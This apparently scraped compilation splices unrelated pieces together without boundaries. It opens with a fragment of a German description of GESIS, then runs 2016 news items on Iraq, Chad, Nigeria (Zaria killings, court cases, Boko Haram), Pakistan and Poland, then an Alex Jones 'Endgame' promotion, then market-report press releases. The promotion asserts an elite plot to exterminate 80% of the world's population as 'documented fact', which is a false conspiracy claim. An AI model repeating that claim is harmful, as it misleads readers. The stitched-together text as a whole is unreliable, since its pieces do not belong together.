Die Bezeichnung GESIS fur das Leibniz-Institut fur Sozialwissenschaften wirkt zunachst etwas sperrig und erschliet sich Auenstehenden nicht. Hier muss man wissen, dass GESIS fur Gesellschaft Sozialwissenschaftlicher Infrastruktureinrichtungen steht. Als Teil der Leibniz-Gesellschaft wird GESIS von Bund und Landern finanziert. Die Organisation des Instituts ist ebenfalls sehr interessant und lasst sich folgendermaen untergliedern:
A suicide bomber killed at least nine people when he detonated an explosive vest after Friday prayers at a Shiite Muslim mosque in south western Baghdad.

Iraqi police and hospital sources said the second suicide attacker at the mosque in al-Radwaniya district was shot and killed by security forces before he could set off his explosives.

Meanwhile, a security and medical sources confirmed that a separate bomb went off on Friday in the district of Abu Ghraib, west of Baghdad, killing two and wounding nine.

There was no immediate claim of responsibility for the attack, which wounded at least 25 others, but Islamic State militants battling government forces in the north and west have regularly targeted Shiite areas in the capital.

The rise of the ultra-hardline Sunni Muslim group has exacerbated a long-running sectarian conflict in Iraq, mostly between Shiites and Sunnis, which emerged after the U.S.-led invasion in 2003.

The Iraqi government has retaken several major cities from the Islamic State in the past year and slowly pushed them back towards the Syrian border.

The authorities said they want to recapture the northern city of Mosul this year, but Iraqi officials privately question whether that is possible.

(Reuters/NAN)
Chadian Electoral Commission said President, Idriss Deby, has won an overwhelming victory in the April 10 election, extending his 26-year rule.

The announcement was made late Thursday in NDjamena.

Deby, who took power in a 1990 military coup and has been re-elected every five years since 1996, took nearly 62 per cent of the latest vote.

The commission said veteran opposition leader Saleh Kebzabo came second with nearly 13 per cent, while Laoukein Kourayo Medard, Mayor of the city of Moundou, was running third with nearly 11 per cent.

It said Deby faced 13 challengers in the election, which was preceded by protests calling for an end to his long rule.

A group of opposition politicians accused the government of rigging the election and said they did not recognize the result.

Deby has won praise for his military campaign against the Islamist group Boko Haram.

He has however been unable to lift half of the 13-million populations out of poverty, and the oil-producing countrys economy has suffered from falling oil prices.

(dpa/NAN)
Officials of the Nigerian Army made concerted efforts to cover up the mass slaughter of over 350 Nigerian citizens, including women and children, between December 12-14, 2015, in Zaria, Amnesty International has said.

In a newly-released report about the killing, which involved members of the Islamic Movement of Nigeria, IMN, Amnesty International said it was able to uncover evidence of a possible mass grave in Zaria neighbourhood of Mando with the aid of satellite imaging.

The report, titled: Unearthing the truth: Unlawful killings and mass cover-up in Zaria, is based on interviews with 92 people, including victims, witnesses from the Shiite and other communities, relatives of victims, residents of the areas where the incidents took place, lawyers and medical personnel and contains shocking eyewitness testimony of large-scale unlawful killings by the Nigerian military and exposes a crude attempt by the authorities to destroy and conceal evidence.

The true horror of what happened over those two days in Zaria is only now coming to light. Bodies were left littered in the streets and piled outside the mortuary. Some of the injured were burned alive, said Netsanet Belay, Amnesty Internationals Research and Advocacy Director for Africa.

Our research, based on witness testimonies and analysis of satellite images, has located one possible mass grave. It is time now for the military to come clean and admit where it secretly buried hundreds of bodies.

The massacre of Shiites and continued detention of their leader, Ibrahim El-Zakzaky, have earned the Nigerian government widespread international condemnation, including a probe by the International Criminal Court.

In February, the Islamic Human Rights Commission, IHRC, a United Kingdom-based Muslim advocacy organisation, has dragged President Muhammadu Buhari, the Kaduna State governor, Nasir El-Rufai, the chief of army staff, Tukur Buratai, to the International Criminal Court (ICC) over the massacre.

The organisation also asked the ICC to investigate the emir of Kano, Muhammadu Sanusi II, and the emir of Zaria, Shehu Idris, for human rights violation and crimes against humanity.

Other army officers and persons the IHRC asked the ICC to probe for their roles in the massacre are: spokesperson of the Nigerian Army, Sani Usman, General Officer Commanding (GOC) of the Nigerian Army, Kaduna, Adeniyi Oyebade, the Commander Nigerian Depot, Chief of Defence Staff, Abayomi Olonisakin, Director Military Intelligence, Chief of Defence intelligence  AVM Riku Morgan, AK Ibrahim  Commander 1 Division Garrison, Nigerian Army, Kaduna and Col. F.M Babayo.

The rest are Capt Ben, Adjutant Depot, Nigerian Army; Adeniyi Oyebade, General Officer Commanding, 1 Division Garrison Kaduna; Umar Labdo; Sambo Rigachukun; Bala Lau; Yahaya Jingir and; Kabir Gombe.

In a detailed report, the IHRC argued that attacks of the army on members of IMN between December 12 and 14 in Zaria qualify as crime against humanity and therefore called on the ICC to initiate an investigation into the incident.

In April, the ICC announced the commencement of detailed investigation into the killings.

According to Amnesty Internationals findings, more than 350 people are believed to have been unlawfully killed by the military between 12 and 14 December, following a confrontation between members of IMN and soldiers in Zaria, Kaduna State.

IMN supporters  some armed with batons, knives, and machetes  had refused to clear the road near their headquarters, the Hussainiyya, for a military convoy to pass. The army has claimed that IMN supporters attacked the convoy in an attempt to assassinate the Chief of Army Staff. IMN members deny this.

Some people were killed as a result of the indiscriminate fire while others appeared to have been deliberately targeted, Mr. Belay said.

The report highlighted the agony of relatives of the victims of the massacre, which the federal government has continued to deny.

Zainab, a 16-year-old schoolgirl, was quoted by Amnesty International: We were in our school uniforms. My friend Nusaiba Abdullahi was shot in her forehead. We took her to a house where they treated the injured but, before reaching the house, she already died.

The cover-up

Amnesty International said after the incident, the military sealed off the areas around El-Zakzakys compound, the Hussainiyya and other locations. Bodies were taken away, sites were razed to the ground, the rubble removed, bloodstains washed off, and bullets and spent cartridge removed from the streets.

Witnesses saw piles of bodies outside the morgue of Ahmadu Bello University Teaching Hospital in Zaria. A senior medical source told Amnesty International that the military sealed off the area around the morgue for two days. During that time he saw army vehicles coming and going.

A witness described to Amnesty International what he saw outside the hospital mortuary on the evening of 14 December: It was dark and from far I could only see a big mound but when I got closer I saw it was a huge pile of corpses on top of each other. I have never seen so many dead bodies. I got very scared and run away. It was a terrible sight and I cant get it out of my mind.

Another witness told the organisation how he had seen diggers excavating holes at the site of the suspected mass grave: There were five or six large trucks and several smaller military vehicles and they spent hours digging and unloading the trucks cargo into the hole they dug and then covered it again with the earth they had dug out. They were there from about 1 or 2 am until about 5 am. I dont know what they buried. It looked like bodies, but I could not get near.

Amnesty International identified and visited the location of a possible mass grave near Mando. Satellite images of the site taken on 2 November and 24 December 2015 show disturbed earth spanning an area of approximately 1000 square metres. Satellite pictures also show the complete destruction of buildings and mosques.

It is clear that the military not only used unlawful and excessive force against men, women and children, unlawfully killing hundreds, but then made considerable efforts to try to cover-up these crimes, said Netsanet Belay.

Four months after the massacre the families of the missing are still awaiting news of their loved ones. A full independent forensic investigation is long overdue. The bodies must be exhumed, the incident must be impartially and independently investigated and those responsible must be held to account.

On Monday 25 April, the military are expected to give evidence to the Judicial Commission of Inquiry established by the Kaduna State Government in January 2016.

On 11 April, a Kaduna State government official told the Judicial Commission of Inquiry that the bodies of 347 members of the Islamic Movement of Nigeria (IMN) were collected from the hospital mortuary and an army depot in Zaria and buried secretly in a mass grave near Mando (outside the town of Kaduna) on the night of 14-15 December.

The IMN claim a further 350 people who went missing during the incidents in Zaria remain unaccounted for.

IMN leader Al-Zakzaky and his wife Zeinat Al-Zakzaky were arrested and held incommunicado. They were only allowed access to their lawyer for the first time on 1 April 2015, three and a half months after their arrest.

Amnesty International called for those IMN supporters charged in connection with this incident to be tried promptly and fairly and for those still held in detention without charge to be either immediately charged or released.

The group also urged the Nigerian government to thoroughly investigate the killings and punish those responsible without recourse to death the penalty.
The president of the Senate, Bukola Saraki, has requested the National Assembly Service Commission to reverse the appointment of Mohammed Sani-Omolori, as the Clerk to the Assembly, to allow further consultations.

Mr. Sani-Omolori was named the acting Clerk to the National Assembly on Wednesday in a letter by the Executive Chairman of the NASC. He was until his appointment the Clerk of the House of Representatives.

In a letter dated April 21 by his Chief of Staff, Isa Galaudu, to Mr. Fika, the senate president, who is the chairman of the National Assembly, said the appointment did not follow due process.

He argued that the Commission should have first considered Ben Efeturi, who is currently the deputy clerk to the National Assembly, for the position to replace Salisu Maikasuwa, who is proceeding on pre-retirement leave this month.

The letter said, The President of the Senate and the Speaker of the House of Representatives were informed that Mr. Efeturi was not considered for the appointment because he was not duly appointed as Deputy Clerk of the National Assembly.

On further enquiry, we found he was duly appointed by the National Assembly Service Commission vide Extract from Minutes of its 403rd Meeting held on Friday, 21st November, 2014.

From the foregoing, you have misled and misinformed the President of the Senate and Speaker of the House of Representatives.

Consequently, I am directed by His Excellency, the Senate President, to inform you that the letter appointing Mr Sani Omolori as Acting Clerk of the National Assembly, be withdrawn immediately for further consultations.

Below is Sarakis Letter

21st April, 2016

The Chairman

National Assembly Service Commission

TOS Benson Street, Utako,

Abuja

Withdrawal of Letter of Appointment of Acting Clerk of National Assembly

We present to you the compliments of the President of the Senate and Chairman of the National Assembly, Dr. Abubakar Bukola Saraki, CON. Please recall that during your last meeting with the Senate President on April 20, 2016, the procedure of the appointment of the Acting Clerk of the National Assembly was discussed.

The Commission was directed to follow due process and ensure that seniority is adhered to. Of course, Mr Benedict Efeturi who is Deputy Clerk of the National Assembly (DCNA) and who has previously acted as the Clerk of the National Assembly should be the first to be considered.

The President of the Senate and the Speaker of the House of Representatives were informed that Mr. Efeturi was not considered for the appointment because he was not duly appointed as Deputy Clerk of the National Assembly. On further enquiry, we found he was duly appointed by the National Assembly Service Commission vide Extract from Minutes of its 403rd Meeting held on Friday, 21st November, 2014.

From the foregoing, you have misled and misinformed the President of the Senate and Speaker of the House of Representatives.

Consequently, I am directed by His Excellency, the Senate President, to inform you that the letter appointing Mr Sani Omolori as Acting Clerk of the National Assembly, be withdrawn immediately for further consultations.

Please accept the assurances of my warmest regards.

Sen. Isa Galaudu

Chief of Staff to the Senate President
A witness in the ongoing trial of a senior lawyer, Joseph Nwobike, on Friday, told a Lagos State High Court sitting in Igbosere how Mr. Nwobike paid N750, 000 into Justice Mohammed Yunusas bank account with Zenith bank.

Mr. Nwobike is standing trial for allegedly bribing a Federal High Court judge.

The witness, Oyekunle Aderemi, a compliance officer with Zenith Bank, made the disclosure when he was confronted with the statement of account of the defendant.

In the account statement, the witness identified a transaction of March 19, 2015, in which the defendant paid N750, 000 into Mr. Yunusas account.

Earlier, the prosecution had moved to tender the account statement but the defence counsel, O. Akanni, objected to the admissibility of the document.

But when the prosecution counsel, Rotimi Oyedepo, applied to withdraw the document, Mr. Akanni dramatically withdrew his objection and the document was admitted and marked as exhibit P2.

Mr. Oyedepo also cross-examined the second prosecution witness, Oliver Owaremi, also a compliance officer with Access Bank in evidence.

He told the court that his bank received a request from the EFCC, seeking the account information of Hawa Ajiya Nigeria Limited, a company that was alleged to be part of the channels the defendant used to transfer money to Mr. Yunusa.

Another Federal High Court Judge, Justice Hyeledzira Ajiya, was said to be the owner and sole signatory of the companys account.

From this account, the witness showed the debit transaction of N300, 000 to Mr. Yunusa from the companys account on November 30, 2015.

During cross examination, the witness said apart from the transactions of September 28, 2015 and that of November 30, 2015, there was no other transactions between Mr. Nwobike and Hawa Ajiya or Mr. Yunusa.

Justice Adebiyi adjourned the matter to May 12, 26 and 30 for continuation of trial.
The Nigerian Navy says it will soon restrict the use of 200 horsepower outboard engines on the nations waterways, to safeguard against piracy, smuggling and other crimes.

The navy, in a statement, described the engine as being of high powered caliber, and often used by criminals for nefarious activities at sea.

It however said there was an arrangement to ensure that individuals and corporate organisations with genuine intentions could acquire or keep their 200 horsepower engines if they already have it.

Part of the arrangement would be to register and profile those who have or intend to have their boat fitted with the engine, said the statement which was released on Thursday by the navys Director of Information, Christian Ezekobe.

The statement said the registration which is going to be free would help the navy have a credible database of those who use such engine, and that the Chief of the Naval Staff, Vice Admiral Ibok-Ete Ibas, was working with the various state governments of the coastal states in that regard.

The statement mentioned Delta and Bayelsa state governments as having provided necessary support to the navy and its maritime security partners, while soliciting the support of the government in the coastal states.

In recent times, the Nigerian Navy and its maritime security partners, especially Operation Pulo Shield in the Niger Delta, have confiscated many boats with 200 horse power outboard engines, the statement said.

Some of the confiscated engines have been released to their owners after strict profiling exercises.

However investigation has proven that people of questionable characters whose interest are in breach of security in the waterways use this class of high powered engines to perpetuate crimes.

The Nigerian Navy assures that more proactive strategies have been launched by the Service and its maritime security partners to curb all forms of crimes and unwholesome activities in the maritime domain.
Pakistans embattled Prime Minister Nawaz Sharif on Friday announced he would resign if found guilty of having committed any wrongdoing, following a probe into the Panama Papers leak.

Mr. Sharif addressed the nation for the second time this month after the opposition increased the pressure on him to come clean in allegations linking his children to offshore companies.

However, Mr. Sharif has promised to set up a high-level judicial commission headed by a retired judge of the Supreme Court in a speech on April 5.

Meanwhile, the opposition rejected this plan, demanding instead a probe under the current chief justice of the Supreme Court.

Mr. Sharif, however, accepted the demand.

I challenge those accusing me of wrongdoing to prove that before the probe commission and, if anything is proved, I will step down without any delay, he said.

The leak comprises 11.5 million documents from Panama-based law firm, Mossack Fonseca.

The documents suggested that dozens of current and former heads of state, politicians and others from the worlds elites have hidden their money using offshore tax havens.

According to media reports, Mr. Sharifs two sons and a daughter were among around 200 individuals from Pakistan having offshore companies which own properties in Britain.

Mr. Sharifs speech came a day after the reported sacking by the powerful army chief of no fewer than six army officers, including a lieutenant general, for corruption.

The army so far neither confirmed nor denied the sacking, the timing of which is believed to have increased the pressure on Mr. Sharif, who has uneasy ties with the security establishment.

Mr. Sharif was deposed by the army in 1999 and later exiled to Saudi Arabia in 2000.

He came back in 2007 and won the election in 2013 to become prime minister for a record third time.

Reports say his policy of a peaceful neighbourhood, emphasising normal ties with India, is believed to have not gone down well with the army.

This is due to the traditional rivalry between Pakistan and India.

(dpa/NAN)
The libel suit filed by a former minister of State for Defence, Musiliu Obanikoro, against some media organisations including PREMIUM TIMES, suffered a setback on Friday as court refused his application to restrain the media houses from further publications about him.

An Ikeja High Court refused Mr. Obanikoros request for an order of injunction against news publications  Premium Times, the Punch Newspapers, Sahara Reporters and its publisher, Omoyele Sowore.

Justice Oluwatoyin Ipaye, in her ruling, described Mr. Obanikoros application as lacking in merit.

There is nothing before the court that shows the applicant will suffer more harm if the injunction is not granted.

It is an error to seek to restrain a publisher of an article on the grounds of libel if there is no proof before the court that such material is libellous.

I am persuaded that this application has no merit and an injunction is not appropriate in the circumstance, she said.

Mr. Obanikoro had on February 10, 2015 filed a suit after the defendants allegedly published an audio of how Mr. Obanikoro with others purportedly plotted to rig the 2014 Ekiti governorship polls.

On February 5, the former minister filed an application for an interlocutory injunction restraining the defendants from publishing harmful materials against him pending the determination of the suit.

Mr. Obanikoro, in his application, claimed that the defendants had published very damaging material, which made him suffer various political and personal losses.

The former senator had also requested an order of court compelling the defendants to retract all the damaging news publications via a letter of apology in their various media.

At Fridays proceedings, Mr. Obanikoro was represented by a lawyer, Chukwudi Enebeli, while Punch Newspapers were represented by O.H. Nurudeen.

The judge adjourned the case pending when the defendants would file their replies to Mr. Obanikoros application.

(NAN)
The Nigerian Army on Friday announced that it had arrested four key strategists for the extremist Boko Haram sect, a development it described as unprecedented.

Troops of 3 Battalion, of 22 Task Force Brigade have made an unprecedented catch with the arrest of 4 Boko Haram terrorists Ameers (kingpins) at Rann, headquarters of Kala Balge Local Government Area today, Friday 22nd April 2016, the spokesperson for the Army, Sani Usman, said in a statement Friday night.

The arrested kingpins specialized in various aspects of criminality to sustain the Boko Haram terrorists group in their areas.

Mr. Usman, a colonel, said the four terrorists were arrested following a tip-off by well meaning members of the public.

He said Subsequently, the troops conducted a cordon and search operation in the general area that led to the apprehension of the terrorist leaders, who contribute to the sustenance of the insurgency through their illegal trade specialization.

The Army spokesperson gave the names of the the arrested suspected terrorists to include Umara Mai Gyaran Rediyo (Radio Technician), Umaru Mai Nama, (who specializes in cattle rustling and sales), Alifa Makinta (a specialist on stealing foodstuffs) and Balu Jugudum (in charge of stolen jewelleries).

Presently the suspects are undergoing interrogation, Mr. Usman said.

The Army has of recent announced the arrest of several high profile suspected terrorists.

The whereabouts of those arrested however remained unknown, and so far none has been charged to court.
By Precious Green and Zamiyat Abubakar

The United States Government on Friday reaffirmed its commitment to partner with Nigeria to defeat Boko Haram and rebuild communities devastated by the dreaded insurgents.

The countrys Permanent Representative to the United Nations, Samantha Power, made the pledge in Yola, Adamawa State, while addressing a town hall meeting at the American University of Nigeria, AUN.

Mrs. Power said she led a delegation of top U.S. military, intelligence, business and diplomatic corps to consult with the leadership of Nigeria, Cameroon and Chad on ways of ending insurgency in the region.

She described Boko Haram as the worlds most ruthless terror group, saying the massacre of scores of children in Nigerias Northeast showed the groups level of wickedness.

The military must play a key role in ending Boko Haram not only by driving terrorists out the territories but train its various units to prevent terrorists from retaking territories that we liberated, she said.

Boko Haram moves back and forth, they respect no boundaries and so we have to coordinate the different military in the region to be able to fight them.

As the military engages Boko Haram, it is important that they respect human right so they preserve and earn trust from the public.

This is something we have discussed in Cameroon, Chad and yesterday with President Muhammadu Buhari. All the governments that are involved in the war against terrorism must respect human rights.

This is the only way they can tell soldiers that they will be consequences for violating the rights of people.

Answering questions from PREMIUM TIMES, Mrs. Power said the United State has been training and equipping units of the Nigerian military that have not been involved in human rights violation and promised to sustain the programme.

She commended the AUN President, Margee Ensign, the faculty and students of the university for what she described as the extraordinary work they are doing with internally displaced persons.

She said the AUN has created a community development model that should be copied by other universities and groups around the globe, saying the institution has given hope and a means of sustenance to the displaced persons from the region.

What you are doing here is a model of what universities in Nigeria and the world should be doing, she said.

Also speaking, Mrs. Ensign said it was reassuring that the university had the attention of the American government as it initiates measures at rebuilding of lives and livelihoods in the region devastated by terror.

It is our hope that the experience of the American University of Nigeria, which has been on the front lines of this humanitarian crisis for close to three years now, can be of use to the government of the United States as its leads an international effort to help Nigeria and its people recover from this tragedy, Mrs. Ensign said.

With our friends and partners from Adamawa Peace Initiate, we have been feeding and sheltering hundreds of thousands of those in flight from the violence to our North.

We are proud that Yola has emerged from these trying times as a beacon of hope, harmony ad cooperation for our region, for Nigeria and all of Africa, she said.

We are proud of our faculty and staff and especially our students who have learned how to foster peace by fostering peace. They represent a new generation of African youth who are being educated to face the future with courage, with hope and with the invaluable experience of having faced down intractable problems.
The Nigerian Army said on Friday that the curfew imposed on Maiduguri between 9pm and 6am was still in force.

This is contained in a statement issued in Maiduguri by Mustpaha Anka, the deputy director, Army Public Relations.

It warned that drastic action would be taken against individuals found violating the curfew.

It has come to the notice of headquarters of 7 Division of the Nigerian Army, Operation Lafiya Dole, that some members of the public violate orders on curfew imposed on Maiduguri and environs.

Violations of curfew threaten the relative peace being enjoyed in Maiduguri town.

Please be reminded that a legitimate curfew in Maiduguri imposed from 9pm to 6am is still in force.

The division wishes to inform the general public that despite the successes recorded against Boko Haram insurgents across the state, the fight against insurgency is not yet over, he said.

The statement said the curfew might be reviewed in future when the security situation in the state improved.

The Borno State government and headquarters of the theatre command will at the appropriate time review the curfew in line with prevailing security situation across the state.

We wish to reiterate that anyone found flouting the orders will be arrested and prosecuted.

All law abiding citizens and peace loving people of Borno are hereby advised to report any suspicious persons to the nearest military post, security agencies or Civilian Joint Task Force, it said.

(NAN)
The governing council of the University of Jos has selected Sebastian Maimako to take over from Heyward Mafuyai as vice chancellor of the university.

The selection followed the termination of the tenure of Mr. Mafuyai on April 21.

The Principal Assistant Registrar in charge of Information and Publication of the university, Abdullahi Abdullahi, said in a statement on Friday that the decision was taken at 12th Governing Council meeting of the university.

He is Professor Sebastian Seddi Maimako, who is the Dean, Faculty of Management Sciences, University of Jos, he said.

The statement said Mr. Maimakos appointment takes effect from Friday April 22 for a five-year single term.

According to the statement, the new vice chancellor is a professor of Accounting and Finance.

It said Mr. Maimako had served the university as Dean, Faculty of Management Sciences; Deputy Dean, Faculty of Management Sciences; Deputy Dean, Faculty of Social Sciences; and Head and Acting Head, Department of Management Sciences.

The new vice chancellor, a graduate of Management Studies from the University of Jos, started working with the university in 1989 as a Graduate Assistant.

PREMIUM TIMES gathered that 19 candidates contested the university of Jos Vice Chancellor job.
A referendum for the proposed Afon Local Council Development Area, LCDA, in Ogun State on Thursday turned bloody as thugs descended on polling units, and attacked locals and journalists with machetes and other dangerous weapons.

Three journalists, including PREMIUM TIMES Dimeji Kayode-Adedeji, were among those attacked after men armed with knives and sticks invaded two polling units at Idi-Emi and Obada communities.

The men overpowered officials of the State Independent Electoral Commission at Ita Baale -Ago Keesan and carted away ballot boxes.

The referendum was mandated by the state House of Assembly.

Governor Ibikunle Amosun had sent a list of 37 proposed LCDAs to the state assembly for approval in addition of the 20 local government areas already in existence.

After holding public hearings, the state assembly ordered the State Electoral Commission to organise a referendum for five LCDAs ahead of the passage of the bill for the creation of 37 LCDAs.

Our correspondent said youth from Afon and Imala communities attacked each other, and other people nearbly, with cutlasses, cudgels, broken bottles and charms.

A correspondent for The Pilot Newspaper, Sulaiman Fasasi, was repeatedly struck with cutlasses, by the men who also tore his clothes, took away his money before setting his shoes alight.

Some indigenes of Imala who also sustained injuries during the fracas include Adeolu Adeegbe and Rotimi Ashipa.

The returning officer for Obada-Owode-Idi-Ayun ward, Onsa Aliu-Adio, during an interview with journalists, confirmed that ballot boxes and other voting materials were snatched by the hoodlums at gun point.

A combined team of policemen and Nigeria and Security Civil Defence Corps, NSDSC drafted to the area battled to restore order between the two feuding communities.

The Chief of Imala town, Adetayo Ajayi, described the action of the government to hold referendum for Afon in Imala territory which belongs to Abeokuta North local government, as an affront.

High Chief Ajayi, who is the Ashipa of Imala, said Abeokuta North and Imeko-Afon Local Governments Areas have different territories which are clearly stated.

Obada belongs to Imala, he said. They did not indicate where Keesan is situated. What Imala is saying is that, it is inconceivable that somebody will move miles away from his territory to another territory and want to hold referendum, that is why we say no.

But in his reaction, a community leader in Afon, Jide Ogunesan, said there was nothing new about the move to conduct referendum in those two areas, saying that elections had been taking place there since creation of the state.

Mr. Ogunesan, a former caretaker committee chairman of Imeko-Afon local government, alleged that the violence was orchestrated the people of Imala, who he claimed snatched the ballot boxes.
The Federal High Court sitting in Akure, the Ondo State capital, on Thursday dismissed two cases instituted by the All Progressives Congress and others, seeking to stop the conduct of Saturdays local government election in the state.

The court said it lacked the jurisdiction to entertain the matter, and described the case as an abuse of court process.

In her ruling, the judge, Folashade Olubanjo, said the federal high court did not have the jurisdiction to hear cases involving the conduct of local government election under the purview of state governments and its agencies.

She said it would amount to judicial pettiness to proceed with the suit when issues on the dissolution of the former councils were still pending before the Supreme Court.

Ms. Olubanjo also said proceeding with the interlocutory injunction on the case was a mere academic exercise as facts deduced from arguments and counter arguments showed that the suits were gross abuse of court process.

APC and the Social Democratic Party had earlier stated their withdrawal from the election, in the light of reasons that the election was already compromised.

The APC on Thursday restated its boycott of the local government election, accusing the chairman and other members of the Ondo State Independent Electoral Commission of being card-carrying members of the Peoples Democratic Party.

The director of Publicity of the party, Steve Otaloro, in a statement in Akure, said there was no authentic voters register for the election, arguing that the register available for use had not been reviewed since the last general election as required by the law.

The party also said the state governor, Olusegun Mimiko,and the PDP government could not be trusted to do anything right.

Many times the governor has deceived the people and this election cannot be different. Dr. Olusegun Mimiko is highly deficient in character, integrity and fairness that he cannot be trusted to midwife any free and fair electoral process, APC alleged.

To participate is to help massage Mimikos ego, support illegality and to allow ourselves to be distracted from our singular mission of wresting power from the PDP in a few months time.

The party also cited a subsisting case on the matter at the Supreme Court by aggrieved elected chairmen under the late Dr Olusegun Agagu-led administration, whose tenure Mimiko terminated on assumption of office in 2009.

The governor who had therefore refrained from conducting the local government election for the past seven years for this reason cannot suddenly rush to conduct the same election in less than ten months to the end of his tenure, the party submitted.

The Ondo State Independent Electoral Commission (ODIEC) is composed of PDP card-carrying members. We cannot participate in an election where the Chairman of ODIEC, Prof. Olugbenga Ige and his team are registered members of the PDP.

Worse still, those who would preside over our complaints after the election are known sympathisers of the ruling PDP government.

APC further stated that the election was a waste of public resources at a time when workers in Ondo State were groaning over unpaid five months salaries, while the government was committing huge resources of unknown amount to an election.

We therefore call on all our sympathisers to remain peaceful and stay at home during these election hours, the party counselled.

They should use the opportunity to reflect on the state of affairs of our state and pray for the deliverance of the state from its present day tormentors.

In the meantime, not minding the outcome of our application for injunction in the court, we would continue to use all legal means to challenge this outgoing government of Dr. Olusegun Mimiko and his party in the wild goose chase they are taking in the name of local government election, the party said.
Presidential Palace

Slovenian President Borut Pahor starts Friday an official visit to Poland to meet his counterpart Andrzej Duda. Their talk will focus on the forthcoming NATO summit in Warsaw, the migration crisis as well as energy and economic integration of Central Europe.

After an official welcome ceremony in front of the Presidential Palace in Warsaw downtown, Presidents Duda and Pahor will hold a face-to-face meeting, chair plenary talks of the two delegations and hold a press conference.

Later in the day the Slovenian president will lay a wreath at the Tomb of the Unknown Soldier and meet with Senate Speaker Stanislaw Karczewski.

Presidential Minister Krzysztof Szczerski told PAP on Thursday that the two presidents would focus on the prospects of the NATO summit in July and the strengthening of Central Europe's security.

According to Szczerski, Duda's talks with Pahor are part of a series of the Polish president's meetings with heads of NATO countries.

"The presidents will also discuss steps designed to meet the challenges created by the situation in southern Europe. They will surely speak about the migration crisis, which is the number one topic in Slovenia after it has found itself on the so called Balkan route leading from Greek islands to Germany," Szczerski stressed.

According to minister Szczerski, other topics will include European issues, with special emphasis on the situation in the euro zone and a British referendum of Britain's possible departure from the EU, common energy policy, the EU policy towards Russia and cooperation within the so called ABC format (Adriatic, Baltic, Black Sea countries).

Speaking about the idea of ABC cooperation, Szczerski said the Polish president wanted Poland to help better integrate Central Europe in order to contribute to European integration.

Krzysztof Szczerski denied that deeper Central European integration was to be an alternative to European integration. "On the contrary, this is to be our contribution to European integration," he stressed. (PAP)
For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME.

Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire.

Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III.





to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever.





Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation.





View the progress of the coming collapse of the United States and the formation of the North American Union.

Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history.

Endgame is not conspiracy theory, it is documented fact in the elite's own words.




DUBLIN, April 23, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "China Automatic Teller Machine (ATM) Industry Report, 2016-2020" report to their offering.



(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Since 1985, when the first ATM was unveiled in China, the total ATM installations have showed a double-digit growth every year. As of the end of September 2015, the number of network-connected ATMs reached 840,800 units, up 44.1% year-on-year, with a CAGR of 27.2% during 2007-2015. It is projected that the figure would exceed 900,000 units by the end of 2015 and 1.5 million units by 2020.



The report highlights the followings:



- Overview of ATM industry, including definition, classification, industrial chain, market characteristics, operation mode, industry policy, and technology trends, etc.;

- Overview of global ATM market, including market size, competitive landscape, market structure, and development prospects, etc.;

- Overview of Chinese ATM market, including market size, competitive landscape, import and export, market structure, and development prospects, etc.;

- China's ATM market segments, including CRS, VTM, ATM operation markets, etc.;

- Bank card market, including quantity of cards issued, IC card development, etc.;

- Profile, operation, revenue structure, R&D costs, ATM business, and development strategy of 11 ATM manufacturers, including NCR, Diebold, Wincor Nixdorf, Hitachi, OKI, GRG Banking, KingTeller, Eastcom, DCITS, and Shenzhen Yihua Computer.



Key Topics Covered:



1. Overview of ATM

1.1 Definition and Classification

1.2 Industry Chain

1.3 Operating Mode

1.4 Industry Policy

1.5 Development Trend



2. Global ATM Market

2.1 Banking IT Market

2.2 ATM Market

2.3 Competition Pattern

2.4 Development Outlook



3. Chinese ATM Market

3.1 Status Quo

3.2 Industrial Characteristics

3.3 Market Size

3.4 Competition Pattern

3.5 Imports & Exports

3.6 Key Drivers and Prospect



4. Key Market Segments

4.1 Overview

4.2 CRS

4.3 Video Teller Machine (VTM or ITM)

4.4 ATM Outsourcing



5. Bank Card Business in China

5.1 Number of Issued Bank Cards

5.2 Withdrawal and Deposit

5.3 Financial IC Cards



6. Major ATM Clients in China

6.1 Agricultural Bank of China

6.2 Industrial and Commercial Bank of China

6.3 China Construction Bank

6.4 Bank of China

6.5 Bank of Communications

6.6 Some Joint-stock Commercial Banks



7. Global Major ATM Manufacturers

7.1 NCR

7.2 Diebold

7.3 Wincor Nixdorf

7.4 Hitachi

7.5 OKI



8. Major Chinese ATM Manufacturers

8.1 GRG Banking

8.2 Shenzhen Yihua Computer

8.3 Eastcom

8.4 KingTeller

8.5 Cashway

8.6 DCITS



For more information visit http://www.researchandmarkets.com/research/8z2n9j/china_automatic

Media Contact:



Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com

For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

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SOURCE Research and Markets
PUNE, India, April 22, 2016 /PRNewswire/ --

According to the new market research report "Compressor Control Systems Market by Component (Controlling: (PLC and SCADA) & Networking), Application (Oil & Gas, Refining, Petrochemical, Power Generation, Metals & Mining, Water & Wastewater and Fertilizer), and Geography - Global Forecast to 2022", published by MarketsandMarkets, the market, in terms of value, is estimated to grow at a CAGR of 4.7% between 2016 and 2022 and is expected to reach USD 6.39 Billion by 2022.

(Logo: http://photos.prnewswire.com/prnh/20160303/792302 )



Browse 100 market data Tables and 96 Figures spread through 204 Pages and in-depth TOC on "Compressor Control Systems Market"

http://www.marketsandmarkets.com/Market-Reports/compressor-control-system-market-78887295.html

Early buyers will receive 10% customization on this report.

Massive investments in power and water sectors are expected to emerge as the second largest source for compressor installations in the next couple of years. Also, the continued expansion of petrochemicals, chemicals, and fertilizers industries is expected to result in a significant demand for compressors.

Oil & gas industry expected to hold the largest share of the compressor control systems market, by 2022

